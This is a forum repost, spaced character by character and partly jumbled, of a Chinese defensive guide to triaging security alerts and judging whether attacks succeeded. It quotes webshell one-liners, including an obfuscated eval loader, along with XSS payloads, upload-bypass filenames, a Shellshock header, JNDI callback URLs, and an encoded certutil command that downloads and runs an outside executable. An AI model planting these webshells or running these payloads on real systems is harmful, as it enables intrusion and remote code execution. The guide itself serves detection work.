搜索

[21354] 2020-10-28_威胁事件告警分析技巧及处置（二）

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-10-28_威胁事件告警分析技巧及处置（二） 0 x 0 1 0 x 0 2 0 x 0 3 0 x 0 4 0 x 0 5 威 胁 事 件 告 警 分 析 技 巧 及 处 置 （ 二 ） L e m o n S e c   2 0 2 0 - 1 0 - 2 8 以 下 文 章 来 源 于 贝 塔 安 全 实 验 室   ， 作 者 e t h 1 0 声 明 ： 声 明 ： 公 众 号 大 部 分 文 章 来 自 团 队 核 心 成 员 和 知 识 星 球 成 员 ， 少 部 分 文 章 经 过 原 作 者 授 权 和 其 它 公 众 号 白 名 单 转 载 。 未 经 授 权 ， 严 禁 转 载 ， 如 需 转 载 ， 请 联 系 开 白 ！ 请 勿 利 用 文 章 内 的 相 关 技 术 从 事 非 法 测 试 ， 如 因 此 产 生 的 一 切 不 良 后 果 与 文 章 作 者 及 本 公 众 号 无 关 ！ ！ ！ S T A R T 前 言 前 言 由 于 近 几 年 信 息 安 全 人 员 紧 缺 ， 面 临 H W 急 需 安 全 人 员 的 竞 赛 中 ， 许 多 安 全 厂 商 降 低 招 聘 要 求 ， 招 收 大 量 安 全 工 作 经 验 较 少 的 人 员 参 与 H W 当 中 ， 由 于 缺 乏 相 应 的 工 作 经 验 ， 面 对 攻 击 团 队 的 频 繁 入 侵 ， 导 致 误 判 、 错 封 攻 击 源 I P 地 址 ， 进 而 对 公 司 业 务 造 成 严 重 影 响 。 小 编 对 此 对 攻 击 流 特 征 进 行 了 一 个 详 细 的 总 结 ， 本 文 适 用 于 可 查 看 攻 击 数 据 流 量 的 设 备 ， 如 ： w a f 、 i d s 、 i p s 、 天 眼 、 睿 眼 以 及 其 他 全 流 量 分 析 系 统 等 。 期 望 效 果 期 望 效 果 看 完 本 文 后 ， 您 能 学 到 ： > 常 见 告 警 攻 击 特 征 识 别 >   低 危 告 警 攻 击 事 件 忽 略 >   研 判 告 警 攻 击 是 否 误 报 >   复 杂 告 警 攻 击 P c a p 取 证 >   验 证 告 警 攻 击 是 否 成 功 w e b s h e l l 后 门 特 征 后 门 特 征 w e b s h e l l 后 门 包 含 但 不 限 于 以 下 : 跨 站 脚 本 攻 击 特 征 跨 站 脚 本 攻 击 特 征 跨 站 脚 本 攻 击 包 含 但 不 限 于 以 下 : 漏 洞 扫 描 特 征 漏 洞 扫 描 特 征 扫 描 器 扫 描 行 为 特 征 包 含 但 不 限 于 以 下 ： 贝 塔 安 全 实 验 室 贝 塔 安 全 实 验 室   . 致 力 于 网 络 安 全 攻 防 研 究 ！ < % e v a l   r e q u e s t ( " p a s s " ) % > < % e v a l ( R e q u e s t . I t e m [ " p a s s " ] , " u n s a f e " ) ; % > < % i f ( r e q u e s t . g e t P a r a m e t e r ( " f " ) ! = n u l l ) ( n e w   j a v a . i o . F i l e O u t p u t S t r e a m ( a p p l i c a t i o n . g e t R e a l P a t h ( " " ) + r e q u e s t . g e t P a r a m e t e r ( " f " ) ) ) . w r i t e ( r e q u e s t . g e t P a r a m e t e r ( " t " ) . g e t B y t e s ( ) ) ; % >   < ? p h p   @ e v a l ( $ _ P O S T [ " p a s s " ] ) ; ? > e ' . ' v ' . ' a ' . ' l ( g z ' . ' i n f ' . ' l a t ' . ' e ( b a s ' . ' e 6 4 _ ' . ' d e c o ' . ' d e ( ' 7 P 3 5 d 1 z X d S e K / 0 y v 5 f / h q g y r A K s A 3 n k g B F p 3 l C h x M k F q J B 9 e A S i A J Q I o G F X g I I p / j J P u F z 1 3 e s W S N d i W Z M W S b M n y I F m S Z c c r 6 U 7 c 6 X S n 9 d y v M 3 Q m J 7 2 + n 8 8 + 9 9 6 6 t w Y Q l O 3 k Z X 0 b E o G q e 8 9 8 9 t n z 3 q e 3 u t I f t P c G s 3 O L n / 7 U e m e j u 9 O Z b W 7 f a K + v 7 3 X 6 / W Z r Z m U 5 P f d w e u 6 J 5 n J 8 7 s T Z 8 y v Z i Z P p 6 f B U 2 r x U r d H Z u b q 1 2 5 Y K / H O t t 7 d e f d 2 / 3 N n a 2 m l v d / C + / F z v c X 9 v C y / l L 1 9 0 N 2 b v 2 + w M V r b b m 9 2 1 l S / u 9 w a d / s r m 7 t r s 3 N z N T 3 / q y E Z v r 9 N e u z w 7 s 3 L 2 z P J 5 r d 3 X Z q 5 o S 8 e 1 m a t z m n r 2 x M y V S 9 q S 1 h / s d X f 7 W 2 3 0 2 p / F 2 8 V a 5 f v T s b p 4 N L 3 q L R l Y t 9 / v D F D 7 X P q F C y l 6 K i Z / S c Z 2 e X u r t 9 n d m T V Z 4 b 7 O 1 f b W x K J 4 2 b n e H S y q J m d W 4 j N n H j q R P j F c y U v a X U v a 9 r o z W z x R M 5 f C M s F K U X k z + Z W 2 t K S e v a l ( g z i n f l a t e ( b a s e 6 4 _ d e c o d e ( ' S y 1 L z N F Q i Q / w D w 6 J V q 8 q L c 5 I z U t X j 9 W 0 B g A = ' ) ) ) ; / x x x . a s p x ; ( 1 ) . j p g 、 t e s t . a s p ; 1 . j p g / x x x . j p g / x x x . p h p / x x x . p h p   [ ; ] [ % 0 0 ] [ % 8 1 ] . j p g / x x x . c e r * . a s a x x x . p h p . o w f . r a r   < / s c r i p t > " > < s c r i p t > p r o m p t ( 1 ) < / s c r i p t > " > < i m g   s r c = x   o n e r r o r = p r o m p t ( 1 ) > " > < s v g / o n l o a d = p r o m p t ( 1 ) > " > < i f r a m e / s r c = j a v a s c r i p t : p r o m p t ( 1 ) > " > < h 1   o n c l i c k = p r o m p t ( 1 ) > C l i c k m e < / h 1 > " > < a   h r e f = j a v a s c r i p t : p r o m p t ( 1 ) > C l i c k m e < / a > " > < t e x t a r e a   a u t o f o c u s   o n f o c u s = p r o m p t ( 1 ) > < D E F A N G E D _ S C R I P T > a l e r t ( d o c u m e n t . d o m a i n ) < / D E F A N G E D _ S C R I P T > o n l o a d = w i n d o w . o p e n ( " h t t p : / / w w w . g o o g l e . c o m " ) < s c r i p t > a l e r t ( " X S S " ) < % 2 F s c r i p t > ' - a l e r t ( 1 2 3 ) -
0 x 0 6 0 x 0 7 0 x 0 8 w i r e s h a r k   p c a p 包 分 析 包 分 析 w i r e s h a r k   p c a p 分 析 主 要 的 就 是 熟 悉 基 本 的 筛 选 ， 以 及 很 重 要 的 是 追 踪 流 ， 推 荐 是 T C P 流 或 U D P 流 , 这 些 能 进 行 切 换 ， 如 果 是 H T T P 流 可 能 不 方 便 看 下 面 的 几 个 数 据 流 。 请 求 行 为 分 析 请 求 行 为 分 析 请 求 行 为 分 析 包 含 但 不 限 于 以 下 这 些 : 正 常 行 为 ： 正 常 行 为 ：   S Q L 注 入 如 果 只 有 w h e r e   1 = 1 ， 其 余 字 段 无 异 常 ， 或 者 有 中 文 、 真 实 字 段 ， 那 么 可 能 是 误 报 。     跨 站 脚 本 攻 击 中 ， 如 只 有 j s 或 者 c s s 代 码 ， 无 明 显 攻 击 特 征 行 为 ， 那 么 可 能 是 误 报 。 异 常 行 为 ： 异 常 行 为 ：           U s e r - A g e n t           X - F o r w a r d e d - F o r           A c c e p t - C h a r s e t : b a s e   编 码 内 容 如 ： ( c 3 l z d G V t K C d j Z X J 0 d X R p b C 5 l e G U g L X V y b G N h Y 2 h l I C 1 z c G x p d C A t Z i B o d H R w O i 8 v Z m s u b 3 B l b n l v d X J h c 3 M u Y 2 x 1 Y i 9 k b 3 d u b G 9 h Z C 5 l e G U g J V N 5 c 3 R l b V J v b 3 Q l L 1 R l b X A v b W d 3 b H R 1 e m x 2 e W x p c G J h O T k z N C 5 l e G U g J i A l U 3 l z d G V t U m 9 v d C U v V G V t c C 9 t Z 3 d s d H V 6 b H Z 5 b G l w Y m E 5 O T M 0 L m V 4 Z S c p O 2 V j a G 8 g b W Q 1 K C d w a H B z d H V k e S c p O w = = ) 异 常 外 部 异 常 外 部 U R L ： ：             r m i : / / f a s t j s o n _ r c e n l b O D R G W . a w v s s c a n 1 1 9 . a u t o v e r i f y . c n / p o c ，                                                                       l d a p : / / x x . x x . x x . x x / 异 常 异 常 H T T P 传 输 行 为 ： 传 输 行 为 ：             P U T   / F x C o d e S h e l l . j s p / ，             P U T   / F x C o d e S h e l l . j s p : : $ D A T A 异 常 异 常 H T T P   h e a d e r 行 为 ： 行 为 ： R a n g e :   b y t e s = 0 - 1 8 4 4 6 7 4 4 0 7 3 7 0 9 5 5 1 6 1 5           B a d - B a s h :   ( )   {   : ;   } ;   e c h o   e c h o   B a d - B a s h :   t z n u p o w c y s f ; 异 常 异 常 H T T P 主 体 内 容 行 为 ： 主 体 内 容 行 为 ：     < s o a p e n v : E n v e l o p e   x m l n s : s o a p e n v = x x x x x x x x x x x   需 结 合 业 务 系 统 情 况 进 行 分 析 , 如 果 里 面 有 c m d   b a s h 等 命 令 执 行 特 征 则 不 是 误 报 ! 攻 击 成 功 判 断 攻 击 成 功 判 断 对 确 认 为 真 实 攻 击 的 行 为 需 要 进 行 研 判 , 是 否 攻 击 成 功 , 主 要 是 通 过 以 下 方 式 但 不 限 于 进 行 : 基 于 流 量 p a y l o a d 信 息 判 断 攻 击 成 功 与 否 。 例 如 w e b 攻 击 ， 如 果 响 应 码 为 4 X X ， 则 多 数 可 以 判 定 为 失 败 ， 但 是 为 2 0 0 的 不 一 定 就 是 成 功 , 还 需 要 结 合 响 应 主 体 进 行 判 断 。 另 外 如 果 使 用 目 录 遍 历 读 取 / e t c / p a s s w d , 且 响 应 包 里 面 有 这 些 特 征 可 判 断 为 攻 击 成 功 .   a w v s   A c u n e t i x - A s p e c t   b y _ w v s / a c u n e t i x - w v s - t e s t - f o r - s o m e - i n e x i s t e n t - f i l e   a c u n e t i x _ w v s _ s e c u r i t y _ t e s t   n e t s p a r k e r   A p p s c a n   n e s s u s   s q l m a p   n m a p   m a s s c a n                     r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h b i n : x : 1 : 1 : b i n : / b i n : / s b i n / n o l o g i n d a e m o n : x : 2 : 2 : d a e m o n : / s b i n : / s b i n / n o l o g i n a d m : x : 3 : 4 : a d m : / v a r / a d m : / s b i n / n o l o g i n l p : x : 4 : 7 : l p : / v a r / s p o o l / l p d : / s b i n / n o l o g i n s y n c : x : 5 : 0 : s y n c : / s b i n : / b i n / s y n c s h u t d o w n : x : 6 : 0 : s h u t d o w n : / s b i n : / s b i n / s h u t d o w n
0 x 0 8 基 于 攻 击 告 警 和 行 为 审 计 日 志 判 断 攻 击 成 功 与 否 。 例 如 产 生 了 暴 力 破 解 告 警 ， 同 时 发 现 相 关 的 登 录 成 功 告 警 ， 则 攻 击 成 功 。 基 于 不 同 告 警 日 志 的 关 联 判 断 攻 击 成 功 与 否 。 例 如 产 生 了 永 恒 之 蓝 漏 洞 利 用 的 告 警 ， 同 时 发 现 漏 洞 利 用 成 功 的 反 连 行 为 的 告 警 ， 则 说 明 永 恒 之 蓝 漏 洞 利 用 成 功 ; 或 者 产 生 了 r e d i s 未 授 权 写 s s h 密 钥 的 行 为 , 且 后 面 有 登 录 s s h 的 行 为 也 基 本 可 判 断 为 攻 击 成 功 , 但 是 具 体 与 否 还 需 要 登 录 服 务 器 进 行 查 看 , 毕 竟 s s h 也 是 加 密 传 输 的 ! 常 见 编 码 常 见 编 码 在 监 测 过 程 中 会 遇 到 很 多 编 码 , 对 于 特 征 不 能 一 目 了 然 , 那 么 需 要 熟 悉 对 应 的 编 码 或 加 密 方 式 并 进 行 转 换 和 解 码 , 常 见 编 码 包 含 但 不 限 于 以 下 这 些 : U R L ： ： 解 码 网 站 ： 解 码 网 站 ： h t t p : / / t o o l . c h i n a z . c o m / t o o l s / u r l e n c o d e . a s p x 实 体 化 编 码 ： 实 体 化 编 码 ： b a s e 6 4 : 解 码 网 站 解 码 网 站 ： h t t p : / / t o o l . c h i n a z . c o m / T o o l s / B a s e 6 4 . a s p x U n i c o d e 编 码 编 码 解 码 网 站 ： 解 码 网 站 ： h t t p : / / t o o l . c h i n a z . c o m / t o o l s / u n i c o d e . a s p x E N D 2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 扫 描 关 注 扫 描 关 注 L e m o n S e c s h u t d o w n : x : 6 : 0 : s h u t d o w n : / s b i n : / s b i n / s h u t d o w n h a l t : x : 7 : 0 : h a l t : / s b i n : / s b i n / h a l t m a i l : x : 8 : 1 2 : m a i l : / v a r / s p o o l / m a i l : / s b i n / n o l o g i n o p e r a t o r : x : 1 1 : 0 : o p e r a t o r : / r o o t : / s b i n / n o l o g i n g a m e s : x : 1 2 : 1 0 0 : g a m e s : / u s r / g a m e s : / s b i n / n o l o g i n f t p : x : 1 4 : 5 0 : F T P   U s e r : / v a r / f t p : / s b i n / n o l o g i n % x x :   % 3 C s c r i p t % 3 E a l e r t % 2 8 1 2 3 % 2 9 % 3 C / s c r i p t % 3 E   & # x ： & # x 3 C ; & # x 7 3 ; & # x 6 3 ; & # x 7 2 ; & # x 6 9 ; & # x 7 0 ;             & # ： & # 6 0 ; & # 1 1 5 ; & # 9 9 ; & # 1 1 4 ; & # 1 0 5 ; & # 1 1 2 ;           、   & l t ; s c r i p t & g t ; a l e r t ( 1 2 3 ) & l t ; / s c r i p t & g t ; = ： M T I z N D U 2 N w = =   u ： u 0 0 3 1 u 0 0 3 2 u 0 0 3 3 u 0 0 3 4 u 0 0 3 5 u 0 0 3 6

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理